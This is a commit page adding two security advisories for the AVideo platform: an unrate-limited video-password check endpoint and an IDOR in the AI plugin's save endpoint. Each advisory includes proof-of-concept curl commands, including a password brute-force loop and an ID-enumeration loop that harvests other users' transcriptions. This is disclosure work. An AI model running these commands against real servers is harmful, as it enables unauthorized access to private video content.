Skip to content

Commit a525951

Browse files
1 parent a51d63d commit a525951

2 files changed

Lines changed: 118 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8prq-2jr2-cm92",
4+
"modified": "2026-03-26T18:07:38Z",
5+
"published": "2026-03-26T18:07:38Z",
6+
"aliases": [
7+
"CVE-2026-33763"
8+
],
9+
"summary": "AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle",
10+
"details": "## Summary\n\nThe `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.\n\n## Details\n\nThe vulnerable endpoint is defined at `plugin/API/API.php:1111-1133`:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n $obj = new stdClass();\n $obj->videos_id = intval($parameters['videos_id']);\n $obj->passwordIsCorrect = true;\n $error = true;\n $msg = '';\n\n if (!empty($obj->videos_id)) {\n $error = false;\n $video = new Video('', '', $obj->videos_id);\n $password = $video->getVideo_password();\n if (!empty($password)) {\n $obj->passwordIsCorrect = $password == $parameters['video_password'];\n }\n } else {\n $msg = 'Videos id is required';\n }\n\n return new ApiObject($msg, $error, $obj);\n}\n```\n\nThe `get()` dispatcher at `API.php:191-209` routes GET requests directly to this method without any authentication enforcement:\n\n```php\npublic function get($parameters) {\n // ... optional user login if credentials provided ...\n $APIName = $parameters['APIName'];\n if (method_exists($this, \"get_api_$APIName\")) {\n $str = \"\\$object = \\$this->get_api_$APIName(\\$parameters);\";\n eval($str);\n }\n}\n```\n\nThe application has a `checkRateLimit()` mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is **not** applied to this password verification endpoint.\n\nAdditionally, video passwords are stored in plaintext (`objects/video.php:523-527`):\n\n```php\npublic function setVideo_password($video_password) {\n AVideoPlugin::onVideoSetVideo_password($this->id, $this->video_password, $video_password);\n $this->video_password = trim($video_password);\n}\n```\n\nThe comparison at line 1125 uses loose equality (`==`) rather than strict equality (`===`).\n\n## PoC\n\n**Step 1: Identify a password-protected video**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video&videos_id=1\" | jq '.response.rows[0].video_password'\n```\n\nA non-empty value (e.g., `\"1\"`) indicates the video is password-protected.\n\n**Step 2: Test incorrect password (oracle returns false)**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=wrongguess\"\n```\n\nExpected response:\n```json\n{\"response\":{\"videos_id\":1,\"passwordIsCorrect\":false},\"error\":false}\n```\n\n**Step 3: Brute-force the password**\n\n```bash\nfor pw in password 123456 secret admin test video1 qwerty; do\n result=$(curl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=$pw\" | jq -r '.response.passwordIsCorrect')\n echo \"$pw: $result\"\n [ \"$result\" = \"true\" ] && echo \"FOUND: $pw\" && break\ndone\n```\n\nNo rate limiting is encountered regardless of request volume.\n\n**Step 4: Unlock the video with the discovered password**\n\n```bash\ncurl -s \"http://localhost/view/video.php?v=1&video_password=DISCOVERED_PASSWORD\" -c cookies.txt\n```\n\nThe password is stored in the session (`CustomizeUser.php:806-807`) granting persistent access.\n\n## Impact\n\nAn attacker can brute-force the password of any password-protected video on the platform without authentication. Since video passwords are typically simple shared secrets (not per-user credentials), common password dictionaries are likely to succeed quickly. Successful exploitation bypasses the access control for password-protected content, which may include commercially sensitive, private, or restricted video content. The lack of any rate limiting means an attacker can test thousands of passwords per second.\n\n## Recommended Fix\n\n1. **Add rate limiting** to the endpoint using the existing `checkRateLimit()` mechanism:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n $this->checkRateLimit('video_password_check', 5, 300); // 5 attempts per 5 minutes per IP\n\n $obj = new stdClass();\n $obj->videos_id = intval($parameters['videos_id']);\n // ... rest of existing code\n}\n```\n\n2. **Hash video passwords** using `password_hash()`/`password_verify()` instead of plaintext storage and loose comparison:\n\n```php\n// In setVideo_password:\n$this->video_password = password_hash(trim($video_password), PASSWORD_DEFAULT);\n\n// In the check endpoint:\n$obj->passwordIsCorrect = password_verify($parameters['video_password'], $password);\n```\n\n3. **Use strict comparison** (`===`) if plaintext passwords must be retained temporarily during migration.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8prq-2jr2-cm92"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/WWBN/AVideo/commit/01a0614fedcdaee47832c0d913a0fb86d8c28135"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/WWBN/AVideo"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-307"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-26T18:07:38Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g39v-qrj6-jxrh",
4+
"modified": "2026-03-26T18:08:13Z",
5+
"published": "2026-03-26T18:08:12Z",
6+
"aliases": [
7+
"CVE-2026-33764"
8+
],
9+
"summary": "AVideo: IDOR in AI Plugin Allows Stealing Other Users' AI-Generated Metadata and Transcriptions",
10+
"details": "## Summary\n\nThe AI plugin's `save.json.php` endpoint loads AI response objects using an attacker-controlled `$_REQUEST['id']` parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID — including those generated for other users' private videos — and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information.\n\n## Details\n\nIn `plugin/AI/save.json.php`, the authorization flow checks that the user can edit the *target video* (`Video::canEdit($videos_id)` at line 23), but loads the AI response object from a completely separate, user-controlled parameter:\n\n**Line 29 — metatags path (no ownership check):**\n```php\nif(!empty($_REQUEST['ai_metatags_responses_id'])){\n $ai = new Ai_metatags_responses($_REQUEST['id']); // Loads ANY response by ID\n \n if (empty($ai->getcompletion_tokens())) {\n forbiddenPage('AI Response not found');\n }\n}\n```\n\n**Line 146 — transcription path (no ownership check):**\n```php\ncase 'text':\n if(!empty($_REQUEST['ai_transcribe_responses_id'])){\n $ait = new Ai_transcribe_responses($_REQUEST['id']); // Loads ANY response by ID\n $value = $ait->getVtt();\n```\n\nThe `ObjectYPT` base class constructor performs a simple database lookup with no authorization:\n```php\npublic function __construct($id = \"\", $refreshCache = false) {\n if (!empty($id)) {\n $this->load($id, $refreshCache); // SELECT * WHERE id = ? — no permission check\n }\n}\n```\n\nThe loaded data is then applied to the attacker's video — titles via `$video->setTitle()` (line 49-51), descriptions via `$video->setDescription()` (lines 91-92, 100-101), and transcriptions via `file_put_contents()` (line 156).\n\nIn contrast, `plugin/AI/delete.json.php` correctly validates ownership by traversing to the parent `Ai_responses` record:\n\n```php\n// delete.json.php lines 42-44 — CORRECT ownership check\n$ai = new Ai_responses($aitr->getAi_responses_id());\nif ($ai->getVideos_id() == $videos_id) {\n $obj->ai_transcribe_responses_id = $aitr->delete();\n```\n\nThis proves the developers intended ownership validation but omitted it in the save endpoint.\n\n## PoC\n\n**Prerequisites:** Two user accounts (attacker and victim), both with `canUseAI` permission. The victim has generated AI metadata or transcription for a private video.\n\n**Step 1: Attacker enumerates AI response IDs to steal metadata**\n\nAI response IDs are sequential integers. The attacker supplies their own `videos_id` (which they can edit) but references a victim's AI response `id`:\n\n```bash\n# Attacker owns video ID 5, victim's AI metatags response is ID 42\ncurl -b \"attacker_cookies\" \\\n \"https://target.example/plugin/AI/save.json.php\" \\\n -d \"videos_id=5&ai_metatags_responses_id=1&id=42&label=videoTitles&index=0\"\n```\n\n**Expected result:** The victim's AI-generated title (from their private video) is applied to the attacker's video (ID 5). The attacker reads back their video to see the stolen title.\n\n**Step 2: Attacker steals full transcription (higher impact)**\n\n```bash\n# Victim's AI transcription response is ID 17\ncurl -b \"attacker_cookies\" \\\n \"https://target.example/plugin/AI/save.json.php\" \\\n -d \"videos_id=5&ai_transcribe_responses_id=1&id=17&label=text\"\n```\n\n**Expected result:** The victim's VTT transcription file is written to the attacker's video directory. The attacker can now access the full spoken content of the victim's private video by requesting the VTT subtitle file for their own video.\n\n**Step 3: Enumerate all responses**\n\n```bash\n# Iterate through sequential IDs to harvest all AI responses\nfor id in $(seq 1 100); do\n curl -s -b \"attacker_cookies\" \\\n \"https://target.example/plugin/AI/save.json.php\" \\\n -d \"videos_id=5&ai_metatags_responses_id=1&id=${id}&label=videoTitles&index=0\"\ndone\n```\n\n## Impact\n\n- **Confidentiality breach of private video content:** An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users' private videos, revealing the complete spoken content without ever accessing the video file itself.\n- **Metadata exfiltration:** AI-generated titles, descriptions, keywords, summaries, and content ratings from other users' private videos can be read by applying them to the attacker's own video.\n- **Trivial enumeration:** AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform.\n- **Low barrier:** Any user with `canUseAI` permission who owns at least one video can exploit this. No admin access required.\n\n## Recommended Fix\n\nAdd ownership validation in `save.json.php` matching what `delete.json.php` already does. Load the parent `Ai_responses` record and verify `getVideos_id()` matches the provided `$videos_id`:\n\n```php\n// For metatags (after line 29):\nif(!empty($_REQUEST['ai_metatags_responses_id'])){\n $ai = new Ai_metatags_responses($_REQUEST['id']);\n \n if (empty($ai->getcompletion_tokens())) {\n forbiddenPage('AI Response not found');\n }\n \n // ADD: Ownership validation\n $aiParent = new Ai_responses($ai->getAi_responses_id());\n if ($aiParent->getVideos_id() != $videos_id) {\n forbiddenPage('AI Response does not belong to this video');\n }\n}\n\n// For transcriptions (at line 146, inside case 'text'):\n$ait = new Ai_transcribe_responses($_REQUEST['id']);\n\n// ADD: Ownership validation\n$aitParent = new Ai_responses($ait->getAi_responses_id());\nif ($aitParent->getVideos_id() != $videos_id) {\n forbiddenPage('AI Response does not belong to this video');\n}\n\n$value = $ait->getVtt();\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g39v-qrj6-jxrh"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/WWBN/AVideo"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-639"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-26T18:08:12Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)